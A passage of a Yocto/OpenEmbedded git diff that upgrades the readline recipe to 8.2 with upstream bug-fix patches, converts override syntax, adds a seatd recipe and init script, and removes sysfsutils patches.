cat ${S}/aclocal.m4 > ${S}/acinclude.m4
fi
}
-do_install_append () {
+do_install:append () {
# Make install doesn't properly install these
oe_libinstall -so -C shlib libhistory ${D}${libdir}
oe_libinstall -so -C shlib libreadline ${D}${libdir}
@@ -42,15 +43,15 @@ do_install_append () {
BBCLASSEXTEND = "native nativesdk"
-CONFFILES_${PN} += "${sysconfdir}/inputrc"
+CONFFILES:${PN} += "${sysconfdir}/inputrc"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}-doc = "history.3"
+ALTERNATIVE:${PN}-doc = "history.3"
ALTERNATIVE_LINK_NAME[history.3] = "${mandir}/man3/history.3"
# OpenSuse injects versions into libreadline leading to conficits between our native one and theirs
# see their spec file for where this is injected. Extra versioning is harmless so we just do the same.
-SRC_URI_append_class-native = " file://rl-native.map"
-LDFLAGS_append_class-native = " -Wl,--version-script=${WORKDIR}/rl-native.map"
+SRC_URI:append:class-native = " file://rl-native.map"
+LDFLAGS:append:class-native = " -Wl,--version-script=${WORKDIR}/rl-native.map"
diff --git a/meta/recipes-core/readline/readline-8.0/norpath.patch b/meta/recipes-core/readline/readline/norpath.patch
index 5d71582b70..5d71582b70 100644
--- a/meta/recipes-core/readline/readline-8.0/norpath.patch
+++ b/meta/recipes-core/readline/readline/norpath.patch
diff --git a/meta/recipes-core/readline/readline/readline82-001.patch b/meta/recipes-core/readline/readline/readline82-001.patch
new file mode 100644
index 0000000000..4e9839db9c
--- /dev/null
+++ b/meta/recipes-core/readline/readline/readline82-001.patch
@@ -0,0 +1,45 @@
+ READLINE PATCH REPORT
+ =====================
+
+Readline-Release: 8.2
+Patch-ID: readline82-001
+
+Bug-Reported-by: Kan-Ru Chen <koster@debian.org>
+Bug-Reference-ID:
+Bug-Reference-URL: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1021109
+
+Bug-Description:
+
+Starting a readline application with an invalid locale specification for
+LC_ALL/LANG/LC_CTYPE can cause it crash on the first call to readline.
+
+Patch (apply with `patch -p0'):
+
+Upstream-Status: Submitted [https://ftp.gnu.org/gnu/readline/readline-8.2-patches/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+*** ../readline-8.2-patched/nls.c 2022-08-15 09:38:51.000000000 -0400
+--- nls.c 2022-10-05 09:23:22.000000000 -0400
+***************
+*** 142,145 ****
+--- 142,149 ----
+ lspec = "";
+ ret = setlocale (LC_CTYPE, lspec); /* ok, since it does not change locale */
++ if (ret == 0 || *ret == 0)
++ ret = setlocale (LC_CTYPE, (char *)NULL);
++ if (ret == 0 || *ret == 0)
++ ret = RL_DEFAULT_LOCALE;
+ #else
+ ret = (lspec == 0 || *lspec == 0) ? RL_DEFAULT_LOCALE : lspec;
+
+*** ../readline-8.2/patchlevel 2013-11-15 08:11:11.000000000 -0500
+--- patchlevel 2014-03-21 08:28:40.000000000 -0400
+***************
+*** 1,3 ****
+ # Do not edit -- exists only for use by patch
+
+! 0
+--- 1,3 ----
+ # Do not edit -- exists only for use by patch
+
+! 1
diff --git a/meta/recipes-core/readline/readline/readline82-002.patch b/meta/recipes-core/readline/readline/readline82-002.patch
new file mode 100644
index 0000000000..5629685dc1
--- /dev/null
+++ b/meta/recipes-core/readline/readline/readline82-002.patch
@@ -0,0 +1,51 @@
+ READLINE PATCH REPORT
+ =====================
+
+Readline-Release: 8.2
+Patch-ID: readline82-002
+
+Bug-Reported-by: srobertson@peratonlabs.com
+Bug-Reference-ID:
+Bug-Reference-URL: https://lists.gnu.org/archive/html/bug-bash/2022-09/msg00049.html
+
+Bug-Description:
+
+It's possible for readline to try to zero out a line that's not null-
+terminated, leading to a memory fault.
+
+Patch (apply with `patch -p0'):
+
+Upstream-Status: Submitted [https://ftp.gnu.org/gnu/readline/readline-8.2-patches/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+*** ../readline-8.2-patched/display.c 2022-04-05 10:47:31.000000000 -0400
+--- display.c 2022-12-13 13:11:22.000000000 -0500
+***************
+*** 2684,2692 ****
+
+ if (visible_line)
+! {
+! temp = visible_line;
+! while (*temp)
+! *temp++ = '\0';
+! }
+ rl_on_new_line ();
+ forced_display++;
+--- 2735,2740 ----
+
+ if (visible_line)
+! memset (visible_line, 0, line_size);
+!
+ rl_on_new_line ();
+ forced_display++;
+*** ../readline-8.2/patchlevel 2013-11-15 08:11:11.000000000 -0500
+--- patchlevel 2014-03-21 08:28:40.000000000 -0400
+***************
+*** 1,3 ****
+ # Do not edit -- exists only for use by patch
+
+! 1
+--- 1,3 ----
+ # Do not edit -- exists only for use by patch
+
+! 2
diff --git a/meta/recipes-core/readline/readline/readline82-003.patch b/meta/recipes-core/readline/readline/readline82-003.patch
new file mode 100644
index 0000000000..61570bf4f4
--- /dev/null
+++ b/meta/recipes-core/readline/readline/readline82-003.patch
@@ -0,0 +1,46 @@
+ READLINE PATCH REPORT
+ =====================
+
+Readline-Release: 8.2
+Patch-ID: readline82-003
+
+Bug-Reported-by: Stefan Klinger <readline-gnu.org@stefan-klinger.de>
+Bug-Reference-ID:
+Bug-Reference-URL: https://lists.gnu.org/archive/html/bug-readline/2023-08/msg00018.html
+
+Bug-Description:
+
+Patch (apply with `patch -p0'):
+
+The custom color prefix that readline uses to color possible completions
+must have a leading `.'.
+
+Upstream-Status: Submitted [https://ftp.gnu.org/gnu/readline/readline-8.2-patches/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+*** ../readline-8.2-patched/colors.c 2021-12-08 11:38:25.000000000 -0500
+--- colors.c 2023-08-28 16:40:04.000000000 -0400
+***************
+*** 74,78 ****
+ static void restore_default_color (void);
+
+! #define RL_COLOR_PREFIX_EXTENSION "readline-colored-completion-prefix"
+
+ COLOR_EXT_TYPE *_rl_color_ext_list = 0;
+--- 74,78 ----
+ static void restore_default_color (void);
+
+! #define RL_COLOR_PREFIX_EXTENSION ".readline-colored-completion-prefix"
+
+ COLOR_EXT_TYPE *_rl_color_ext_list = 0;
+*** ../readline-8.2/patchlevel 2013-11-15 08:11:11.000000000 -0500
+--- patchlevel 2014-03-21 08:28:40.000000000 -0400
+***************
+*** 1,3 ****
+ # Do not edit -- exists only for use by patch
+
+! 2
+--- 1,3 ----
+ # Do not edit -- exists only for use by patch
+
+! 3
diff --git a/meta/recipes-core/readline/readline/readline82-004.patch b/meta/recipes-core/readline/readline/readline82-004.patch
new file mode 100644
index 0000000000..cedc3d0fe4
--- /dev/null
+++ b/meta/recipes-core/readline/readline/readline82-004.patch
@@ -0,0 +1,68 @@
+ READLINE PATCH REPORT
+ =====================
+
+Readline-Release: 8.2
+Patch-ID: readline82-004
+
+Bug-Reported-by: Henry Bent <henry.r.bent@gmail.com>
+Bug-Reference-ID:
+Bug-Reference-URL: https://lists.gnu.org/archive/html/bug-bash/2022-11/msg00044.html
+
+Bug-Description:
+
+Patch (apply with `patch -p0'):
+
+There are systems that supply one of select or pselect, but not both.
+
+Upstream-Status: Submitted [https://ftp.gnu.org/gnu/readline/readline-8.2-patches/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+*** ../readline-8.2-patched/input.c 2022-04-08 15:43:24.000000000 -0400
+--- input.c 2022-11-28 09:41:08.000000000 -0500
+***************
+*** 152,156 ****
+--- 152,158 ----
+ int _rl_timeout_init (void);
+ int _rl_timeout_sigalrm_handler (void);
++ #if defined (RL_TIMEOUT_USE_SELECT)
+ int _rl_timeout_select (int, fd_set *, fd_set *, fd_set *, const struct timeval *, const sigset_t *);
++ #endif
+
+ static void _rl_timeout_handle (void);
+***************
+*** 249,253 ****
+ int chars_avail, k;
+ char input;
+! #if defined(HAVE_SELECT)
+ fd_set readfds, exceptfds;
+ struct timeval timeout;
+--- 251,255 ----
+ int chars_avail, k;
+ char input;
+! #if defined (HAVE_PSELECT) || defined (HAVE_SELECT)
+ fd_set readfds, exceptfds;
+ struct timeval timeout;
+***************
+*** 806,810 ****
+ unsigned char c;
+ int fd;
+! #if defined (HAVE_PSELECT)
+ sigset_t empty_set;
+ fd_set readfds;
+--- 815,819 ----
+ unsigned char c;
+ int fd;
+! #if defined (HAVE_PSELECT) || defined (HAVE_SELECT)
+ sigset_t empty_set;
+ fd_set readfds;
+*** ../readline-8.2/patchlevel 2013-11-15 08:11:11.000000000 -0500
+--- patchlevel 2014-03-21 08:28:40.000000000 -0400
+***************
+*** 1,3 ****
+ # Do not edit -- exists only for use by patch
+
+! 3
+--- 1,3 ----
+ # Do not edit -- exists only for use by patch
+
+! 4
diff --git a/meta/recipes-core/readline/readline/readline82-005.patch b/meta/recipes-core/readline/readline/readline82-005.patch
new file mode 100644
index 0000000000..69c2e4f77a
--- /dev/null
+++ b/meta/recipes-core/readline/readline/readline82-005.patch
@@ -0,0 +1,53 @@
+ READLINE PATCH REPORT
+ =====================
+
+Readline-Release: 8.2
+Patch-ID: readline82-005
+
+Bug-Reported-by: Simon Marchi <simon.marchi@polymtl.ca>
+Bug-Reference-ID:
+Bug-Reference-URL: https://lists.gnu.org/archive/html/bug-readline/2022-09/msg00005.html
+
+Bug-Description:
+
+If an application is using readline in callback mode, and a signal arrives
+after readline checks for it in rl_callback_read_char() but before it
+restores the application's signal handlers, it won't get processed until the
+next time the application calls rl_callback_read_char(). Readline needs to
+check for and resend any pending signals after restoring the application's
+signal handlers.
+
+Patch (apply with `patch -p0'):
+
+Upstream-Status: Submitted [https://ftp.gnu.org/gnu/readline/readline-8.2-patches/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+*** ../readline-8.2-patched/callback.c 2022-04-29 12:02:56.000000000 -0400
+--- callback.c 2022-10-11 10:59:06.000000000 -0400
+***************
+*** 116,120 ****
+ do { \
+ if (rl_persistent_signal_handlers == 0) \
+! rl_clear_signals (); \
+ return; \
+ } while (0)
+--- 116,123 ----
+ do { \
+ if (rl_persistent_signal_handlers == 0) \
+! { \
+! rl_clear_signals (); \
+! if (_rl_caught_signal) _rl_signal_handler (_rl_caught_signal); \
+! } \
+ return; \
+ } while (0)
+*** ../readline-8.2/patchlevel 2013-11-15 08:11:11.000000000 -0500
+--- patchlevel 2014-03-21 08:28:40.000000000 -0400
+***************
+*** 1,3 ****
+ # Do not edit -- exists only for use by patch
+
+! 4
+--- 1,3 ----
+ # Do not edit -- exists only for use by patch
+
+! 5
diff --git a/meta/recipes-core/readline/readline/readline82-006.patch b/meta/recipes-core/readline/readline/readline82-006.patch
new file mode 100644
index 0000000000..d66afe82c9
--- /dev/null
+++ b/meta/recipes-core/readline/readline/readline82-006.patch
@@ -0,0 +1,102 @@
+ READLINE PATCH REPORT
+ =====================
+
+Readline-Release: 8.2
+Patch-ID: readline82-006
+
+Bug-Reported-by: Tom de Vries <tdevries@suse.de>
+Bug-Reference-ID:
+Bug-Reference-URL: https://lists.gnu.org/archive/html/bug-readline/2022-09/msg00001.html
+
+Bug-Description:
+
+This is a variant of the same issue as the one fixed by patch 5. In this
+case, the signal arrives and is pending before readline calls rl_getc().
+When this happens, the pending signal will be handled by the loop, but may
+alter or destroy some state that the callback uses. Readline needs to treat
+this case the same way it would if a signal interrupts pselect/select, so
+compound operations like searches and reading numeric arguments get cleaned
+up properly.
+
+Patch (apply with `patch -p0'):
+
+Upstream-Status: Submitted [https://ftp.gnu.org/gnu/readline/readline-8.2-patches/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+*** ../readline-8.2-patched/input.c 2022-12-22 16:15:48.000000000 -0500
+--- input.c 2023-01-10 11:53:45.000000000 -0500
+***************
+*** 812,816 ****
+ rl_getc (FILE *stream)
+ {
+! int result;
+ unsigned char c;
+ int fd;
+--- 812,816 ----
+ rl_getc (FILE *stream)
+ {
+! int result, ostate, osig;
+ unsigned char c;
+ int fd;
+***************
+*** 823,828 ****
+--- 823,842 ----
+ while (1)
+ {
++ osig = _rl_caught_signal;
++ ostate = rl_readline_state;
++
+ RL_CHECK_SIGNALS ();
+
++ #if defined (READLINE_CALLBACKS)
++ /* Do signal handling post-processing here, but just in callback mode
++ for right now because the signal cleanup can change some of the
++ callback state, and we need to either let the application have a
++ chance to react or abort some current operation that gets cleaned
++ up by rl_callback_sigcleanup(). If not, we'll just run through the
++ loop again. */
++ if (osig != 0 && (ostate & RL_STATE_CALLBACK))
++ goto postproc_signal;
++ #endif
++
+ /* We know at this point that _rl_caught_signal == 0 */
+
+***************
+*** 888,891 ****
+--- 902,908 ----
+
+ handle_error:
++ osig = _rl_caught_signal;
++ ostate = rl_readline_state;
++
+ /* If the error that we received was EINTR, then try again,
+ this is simply an interrupted system call to read (). We allow
+***************
+*** 928,933 ****
+--- 945,959 ----
+ #endif /* SIGALRM */
+
++ postproc_signal:
++ /* POSIX says read(2)/pselect(2)/select(2) don't return EINTR for any
++ reason other than being interrupted by a signal, so we can safely
++ call the application's signal event hook. */
+ if (rl_signal_event_hook)
+ (*rl_signal_event_hook) ();
++ #if defined (READLINE_CALLBACKS)
++ else if (osig == SIGINT && (ostate & RL_STATE_CALLBACK) && (ostate & (RL_STATE_ISEARCH|RL_STATE_NSEARCH|RL_STATE_NUMERICARG)))
++ /* just these cases for now */
++ _rl_abort_internal ();
++ #endif
+ }
+ }
+*** ../readline-8.2/patchlevel 2013-11-15 08:11:11.000000000 -0500
+--- patchlevel 2014-03-21 08:28:40.000000000 -0400
+***************
+*** 1,3 ****
+ # Do not edit -- exists only for use by patch
+
+! 5
+--- 1,3 ----
+ # Do not edit -- exists only for use by patch
+
+! 6
diff --git a/meta/recipes-core/readline/readline/readline82-007.patch b/meta/recipes-core/readline/readline/readline82-007.patch
new file mode 100644
index 0000000000..9fa1ccb552
--- /dev/null
+++ b/meta/recipes-core/readline/readline/readline82-007.patch
@@ -0,0 +1,51 @@
+ READLINE PATCH REPORT
+ =====================
+
+Readline-Release: 8.2
+Patch-ID: readline82-007
+
+Bug-Reported-by: Kevin Pulo <kev@pulo.com.au>
+Bug-Reference-ID:
+Bug-Reference-URL: https://lists.gnu.org/archive/html/bug-readline/2022-11/msg00002.html
+
+Bug-Description:
+
+If readline is called with no prompt, it should display a newline if return
+is typed on an empty line. It should still suppress the final newline if
+return is typed on the last (empty) line of a multi-line command.
+
+Patch (apply with `patch -p0'):
+
+Upstream-Status: Submitted [https://ftp.gnu.org/gnu/readline/readline-8.2-patches/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+*** ../readline-8.2-patched/display.c 2022-04-05 10:47:31.000000000 -0400
+--- display.c 2022-12-13 13:11:22.000000000 -0500
+***************
+*** 3342,3348 ****
+ &last_face[_rl_screenwidth - 1 + woff], 1);
+ }
+! _rl_vis_botlin = 0;
+! if (botline_length > 0 || _rl_last_c_pos > 0)
+ rl_crlf ();
+ fflush (rl_outstream);
+ rl_display_fixed++;
+--- 3394,3400 ----
+ &last_face[_rl_screenwidth - 1 + woff], 1);
+ }
+! if ((_rl_vis_botlin == 0 && botline_length == 0) || botline_length > 0 || _rl_last_c_pos > 0)
+ rl_crlf ();
++ _rl_vis_botlin = 0;
+ fflush (rl_outstream);
+ rl_display_fixed++;
+*** ../readline-8.2/patchlevel 2013-11-15 08:11:11.000000000 -0500
+--- patchlevel 2014-03-21 08:28:40.000000000 -0400
+***************
+*** 1,3 ****
+ # Do not edit -- exists only for use by patch
+
+! 6
+--- 1,3 ----
+ # Do not edit -- exists only for use by patch
+
+! 7
diff --git a/meta/recipes-core/readline/readline/readline82-008.patch b/meta/recipes-core/readline/readline/readline82-008.patch
new file mode 100644
index 0000000000..660cb1e00b
--- /dev/null
+++ b/meta/recipes-core/readline/readline/readline82-008.patch
@@ -0,0 +1,80 @@
+ READLINE PATCH REPORT
+ =====================
+
+Readline-Release: 8.2
+Patch-ID: readline82-008
+
+Bug-Reported-by:
+Bug-Reference-ID:
+Bug-Reference-URL:
+
+Bug-Description:
+
+Add missing prototypes for several function declarations.
+
+Patch (apply with `patch -p0'):
+
+Upstream-Status: Submitted [https://ftp.gnu.org/gnu/readline/readline-8.2-patches/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+*** ../readline-8.2-patched/text.c Wed Oct 27 11:03:59 2021
+--- text.c Thu Nov 16 16:24:58 2023
+***************
+*** 1765,1770 ****
+ #if defined (READLINE_CALLBACKS)
+ static int
+! _rl_char_search_callback (data)
+! _rl_callback_generic_arg *data;
+ {
+ _rl_callback_func = 0;
+--- 1765,1769 ----
+ #if defined (READLINE_CALLBACKS)
+ static int
+! _rl_char_search_callback (_rl_callback_generic_arg *data)
+ {
+ _rl_callback_func = 0;
+*** ../readline-8.2-patched/bind.c Wed Feb 9 11:02:22 2022
+--- bind.c Thu Nov 16 16:25:17 2023
+***************
+*** 1168,1174 ****
+
+ static int
+! parse_comparison_op (s, indp)
+! const char *s;
+! int *indp;
+ {
+ int i, peekc, op;
+--- 1168,1172 ----
+
+ static int
+! parse_comparison_op (const char *s, int *indp)
+ {
+ int i, peekc, op;
+*** ../readline-8.2-patched/rltty.c Fri Feb 18 11:14:22 2022
+--- rltty.c Thu Nov 16 16:25:36 2023
+***************
+*** 81,86 ****
+ to get the tty settings. */
+ static void
+! set_winsize (tty)
+! int tty;
+ {
+ #if defined (TIOCGWINSZ)
+--- 81,85 ----
+ to get the tty settings. */
+ static void
+! set_winsize (int tty)
+ {
+ #if defined (TIOCGWINSZ)
+
+*** ../readline-8.2/patchlevel 2013-11-15 08:11:11.000000000 -0500
+--- patchlevel 2014-03-21 08:28:40.000000000 -0400
+***************
+*** 1,3 ****
+ # Do not edit -- exists only for use by patch
+
+! 7
+--- 1,3 ----
+ # Do not edit -- exists only for use by patch
+
+! 8
diff --git a/meta/recipes-core/readline/readline/readline82-009.patch b/meta/recipes-core/readline/readline/readline82-009.patch
new file mode 100644
index 0000000000..1fcf7b3535
--- /dev/null
+++ b/meta/recipes-core/readline/readline/readline82-009.patch
@@ -0,0 +1,76 @@
+ READLINE PATCH REPORT
+ =====================
+
+Readline-Release: 8.2
+Patch-ID: readline82-009
+
+Bug-Reported-by: Stefan H. Holek <stefan@epy.co.at>
+Bug-Reference-ID: <50F8DA45-B7F3-4DE1-AB94-19AE42649CDC@epy.co.at>
+Bug-Reference-URL: https://lists.gnu.org/archive/html/bug-readline/2022-10/msg00021.html
+
+Bug-Description:
+
+Fix issue where the directory name portion of the word to be completed (the
+part that is passed to opendir()) requires both tilde expansion and dequoting.
+Readline only performed tilde expansion in this case, so filename completion
+would fail.
+
+Patch (apply with `patch -p0'):
+
+Upstream-Status: Submitted [https://ftp.gnu.org/gnu/readline/readline-8.2-patches/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+*** ../readline-8.2-patched/complete.c 2022-04-05 10:47:06.000000000 -0400
+--- complete.c 2022-10-26 15:08:51.000000000 -0400
+***************
+*** 2527,2531 ****
+ xfree (dirname);
+ dirname = temp;
+! tilde_dirname = 1;
+ }
+
+--- 2527,2532 ----
+ xfree (dirname);
+ dirname = temp;
+! if (*dirname != '~')
+! tilde_dirname = 1; /* indicate successful tilde expansion */
+ }
+
+***************
+*** 2546,2554 ****
+ users_dirname = savestring (dirname);
+ }
+! else if (tilde_dirname == 0 && rl_completion_found_quote && rl_filename_dequoting_function)
+ {
+! /* delete single and double quotes */
+ xfree (dirname);
+! dirname = savestring (users_dirname);
+ }
+ directory = opendir (dirname);
+--- 2547,2560 ----
+ users_dirname = savestring (dirname);
+ }
+! else if (rl_completion_found_quote && rl_filename_dequoting_function)
+ {
+! /* We already ran users_dirname through the dequoting function.
+! If tilde_dirname == 1, we successfully performed tilde expansion
+! on dirname. Now we need to reconcile those results. We either
+! just copy the already-dequoted users_dirname or tilde expand it
+! if we tilde-expanded dirname. */
+! temp = tilde_dirname ? tilde_expand (users_dirname) : savestring (users_dirname);
+ xfree (dirname);
+! dirname = temp;
+ }
+ directory = opendir (dirname);
+
+*** ../readline-8.2/patchlevel 2013-11-15 08:11:11.000000000 -0500
+--- patchlevel 2014-03-21 08:28:40.000000000 -0400
+***************
+*** 1,3 ****
+ # Do not edit -- exists only for use by patch
+
+! 8
+--- 1,3 ----
+ # Do not edit -- exists only for use by patch
+
+! 9
diff --git a/meta/recipes-core/readline/readline/readline82-010.patch b/meta/recipes-core/readline/readline/readline82-010.patch
new file mode 100644
index 0000000000..6152953e91
--- /dev/null
+++ b/meta/recipes-core/readline/readline/readline82-010.patch
@@ -0,0 +1,70 @@
+ READLINE PATCH REPORT
+ =====================
+
+Readline-Release: 8.2
+Patch-ID: readline82-010
+
+Bug-Reported-by: Martin Castillo <castilma@uni-bremen.de>
+Bug-Reference-ID: <2d42153b-cf65-caba-dff1-cd3bc6268c7e@uni-bremen.de>
+Bug-Reference-URL: https://lists.gnu.org/archive/html/bug-readline/2023-01/msg00000.html
+
+Bug-Description:
+
+Fix the case where text to be completed from the line buffer (quoted) is
+compared to the common prefix of the possible matches (unquoted) and the
+quoting makes the former appear to be longer than the latter. Readline
+assumes the match doesn't add any characters to the word and doesn't display
+multiple matches.
+
+Patch (apply with `patch -p0'):
+
+Upstream-Status: Submitted [https://ftp.gnu.org/gnu/readline/readline-8.2-patches/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+*** ../readline-8.2-patched/complete.c Tue Apr 5 10:47:06 2022
+--- complete.c Sat Jan 7 14:19:45 2023
+***************
+*** 2032,2038 ****
+ text = rl_copy_text (start, end);
+ matches = gen_completion_matches (text, start, end, our_func, found_quote, quote_char);
+ /* nontrivial_lcd is set if the common prefix adds something to the word
+ being completed. */
+! nontrivial_lcd = matches && compare_match (text, matches[0]) != 0;
+ if (what_to_do == '!' || what_to_do == '@')
+ tlen = strlen (text);
+--- 2038,2060 ----
+ text = rl_copy_text (start, end);
+ matches = gen_completion_matches (text, start, end, our_func, found_quote, quote_char);
++ /* If TEXT contains quote characters, it will be dequoted as part of
++ generating the matches, and the matches will not contain any quote
++ characters. We need to dequote TEXT before performing the comparison.
++ Since compare_match performs the dequoting, and we only want to do it
++ once, we don't call compare_matches after dequoting TEXT; we call
++ strcmp directly. */
+ /* nontrivial_lcd is set if the common prefix adds something to the word
+ being completed. */
+! if (rl_filename_completion_desired && rl_filename_quoting_desired &&
+! rl_completion_found_quote && rl_filename_dequoting_function)
+! {
+! char *t;
+! t = (*rl_filename_dequoting_function) (text, rl_completion_quote_character);
+! xfree (text);
+! text = t;
+! nontrivial_lcd = matches && strcmp (text, matches[0]) != 0;
+! }
+! else
+! nontrivial_lcd = matches && strcmp (text, matches[0]) != 0;
+ if (what_to_do == '!' || what_to_do == '@')
+ tlen = strlen (text);
+
+*** ../readline-8.2/patchlevel 2013-11-15 08:11:11.000000000 -0500
+--- patchlevel 2014-03-21 08:28:40.000000000 -0400
+***************
+*** 1,3 ****
+ # Do not edit -- exists only for use by patch
+
+! 9
+--- 1,3 ----
+ # Do not edit -- exists only for use by patch
+
+! 10
diff --git a/meta/recipes-core/readline/readline_8.0.bb b/meta/recipes-core/readline/readline_8.0.bb
deleted file mode 100644
index 99d022a32f..0000000000
--- a/meta/recipes-core/readline/readline_8.0.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require readline.inc
-
-SRC_URI += "file://configure-fix.patch \
- file://norpath.patch"
-
-SRC_URI[archive.md5sum] = "7e6c1f16aee3244a69aba6e438295ca3"
-SRC_URI[archive.sha256sum] = "e339f51971478d369f8a053a330a190781acb9864cf4c541060f12078948e461"
diff --git a/meta/recipes-core/readline/readline_8.2.bb b/meta/recipes-core/readline/readline_8.2.bb
new file mode 100644
index 0000000000..f0dba31251
--- /dev/null
+++ b/meta/recipes-core/readline/readline_8.2.bb
@@ -0,0 +1,17 @@
+require readline.inc
+
+SRC_URI += " file://norpath.patch"
+
+SRC_URI += "file://readline82-001.patch;striplevel=0 \
+ file://readline82-002.patch;striplevel=0 \
+ file://readline82-003.patch;striplevel=0 \
+ file://readline82-004.patch;striplevel=0 \
+ file://readline82-005.patch;striplevel=0 \
+ file://readline82-006.patch;striplevel=0 \
+ file://readline82-007.patch;striplevel=0 \
+ file://readline82-008.patch;striplevel=0 \
+ file://readline82-009.patch;striplevel=0 \
+ file://readline82-010.patch;striplevel=0 \
+ "
+
+SRC_URI[archive.sha256sum] = "3feb7171f16a84ee82ca18a36d7b9be109a52c04f492a053331d7d1095007c35"
diff --git a/meta/recipes-core/seatd/seatd/init b/meta/recipes-core/seatd/seatd/init
new file mode 100644
index 0000000000..0589c765ac
--- /dev/null
+++ b/meta/recipes-core/seatd/seatd/init
@@ -0,0 +1,45 @@
+#!/bin/sh
+#
+### BEGIN INIT INFO
+# Provides: seatd
+# Required-Start: $local_fs $remote_fs
+# Required-Stop: $local_fs $remote_fs
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+### END INIT INFO
+
+killproc() {
+ pid=`/bin/pidof $1`
+ [ "$pid" != "" ] && kill $pid
+}
+
+case "$1" in
+ start)
+ seatd -g video -n 1 > /tmp/seatd-start-notify &
+ [ -s /tmp/seatd-start-notify ] && exit 0
+ sleep 0.1
+ [ -s /tmp/seatd-start-notify ] && exit 0
+ sleep 0.5
+ [ -s /tmp/seatd-start-notify ] && exit 0
+ sleep 5
+ [ -s /tmp/seatd-start-notify ] && exit 0
+ exit 1
+ ;;
+
+ stop)
+ echo "Stopping seatd"
+ killproc seatd
+ ;;
+
+ restart)
+ $0 stop
+ sleep 1
+ $0 start
+ ;;
+
+ *)
+ echo "usage: $0 { start | stop | restart }"
+ ;;
+esac
+
+exit 0
diff --git a/meta/recipes-core/seatd/seatd_0.8.0.bb b/meta/recipes-core/seatd/seatd_0.8.0.bb
new file mode 100644
index 0000000000..14c5b1b7ae
--- /dev/null
+++ b/meta/recipes-core/seatd/seatd_0.8.0.bb
@@ -0,0 +1,35 @@
+SUMMARY = "A minimal seat management daemon, and a universal seat management library."
+DESCRIPTION = "Seat management takes care of mediating access to shared devices (graphics, input), without requiring the applications needing access to be root."
+HOMEPAGE = "https://git.sr.ht/~kennylevinsen/seatd"
+
+LICENSE = "MIT"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=715a99d2dd552e6188e74d4ed2914d5a"
+
+SRC_URI = "git://git.sr.ht/~kennylevinsen/seatd;protocol=https;branch=master \
+ file://init"
+SRCREV = "3e9ef69f14f630a719dd464f3c90a7932f1c8296"
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig update-rc.d
+
+# https://www.openwall.com/lists/musl/2020/01/20/3
+CFLAGS:append:libc-musl:powerpc64le = " -Wno-error=overflow"
+
+PACKAGECONFIG ?= " \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)} \
+ libseat-builtin \
+"
+
+PACKAGECONFIG[libseat-builtin] = "-Dlibseat-builtin=enabled,-Dlibseat-builtin=disabled"
+PACKAGECONFIG[systemd] = ",,systemd"
+
+do_install:append() {
+ if [ "${VIRTUAL-RUNTIME_init_manager}" != "systemd" ]; then
+ install -Dm755 ${WORKDIR}/init ${D}/${sysconfdir}/init.d/seatd
+ fi
+}
+
+INITSCRIPT_NAME = "seatd"
+INITSCRIPT_PARAMS = "start 9 5 2 . stop 20 0 1 6 ."
+INHIBIT_UPDATERCD_BBCLASS = "${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'systemd', '1', '', d)}"
diff --git a/meta/recipes-core/sysfsutils/sysfsutils-2.1.0/obsolete_automake_macros.patch b/meta/recipes-core/sysfsutils/sysfsutils-2.1.0/obsolete_automake_macros.patch
deleted file mode 100644
index 9d828d7026..0000000000
--- a/meta/recipes-core/sysfsutils/sysfsutils-2.1.0/obsolete_automake_macros.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Submitted [http://sourceforge.net/tracker/?func=detail&aid=3600345&group_id=44427&atid=439544]
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-diff -Nurd sysfsutils-2.1.0/configure.ac sysfsutils-2.1.0/configure.ac
---- sysfsutils-2.1.0/configure.ac 2006-08-07 08:08:00.000000000 +0300
-+++ sysfsutils-2.1.0/configure.ac 2013-01-11 08:13:08.651550634 +0200
-@@ -2,7 +2,7 @@
- AC_INIT(sysfsutils, 2.1.0, linux-diag-devel@lists.sourceforge.net)
- AM_INIT_AUTOMAKE
- AC_CONFIG_SRCDIR([config.h.in])
--AM_CONFIG_HEADER([config.h])
-+AC_CONFIG_HEADERS([config.h])
-
- # Checks for KLIBC support (should be before AC_PROG_LIBTOOL and AC_PROG_CC)
- AC_CHECK_KLIBC
diff --git a/meta/recipes-core/sysfsutils/sysfsutils-2.1.0/separatebuild.patch b/meta/recipes-core/sysfsutils/sysfsutils-2.1.0/separatebuild.patch
deleted file mode 100644
index 82e725e2ac..0000000000
--- a/meta/recipes-core/sysfsutils/sysfsutils-2.1.0/separatebuild.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-Upstream-Status: Pending
-
-Fix out of tree build issues so ${B} != ${S} works.
-
-RP 2013/03/18
-
-Index: sysfsutils-2.1.0/cmd/Makefile.am
-===================================================================
---- sysfsutils-2.1.0.orig/cmd/Makefile.am 2013-03-08 08:57:27.224556508 +0000
-+++ sysfsutils-2.1.0/cmd/Makefile.am 2013-03-08 08:57:27.480556502 +0000
-@@ -1,6 +1,6 @@
- bin_PROGRAMS = systool
- systool_SOURCES = systool.c names.c names.h
--INCLUDES = -I../include
-+INCLUDES = -I$(srcdir)/../include
- LDADD = ../lib/libsysfs.la
- EXTRA_CFLAGS = @EXTRA_CFLAGS@
- AM_CFLAGS = -Wall -W -Wstrict-prototypes $(EXTRA_CFLAGS)
-Index: sysfsutils-2.1.0/lib/Makefile.am
-===================================================================
---- sysfsutils-2.1.0.orig/lib/Makefile.am 2013-03-08 08:57:27.224556508 +0000
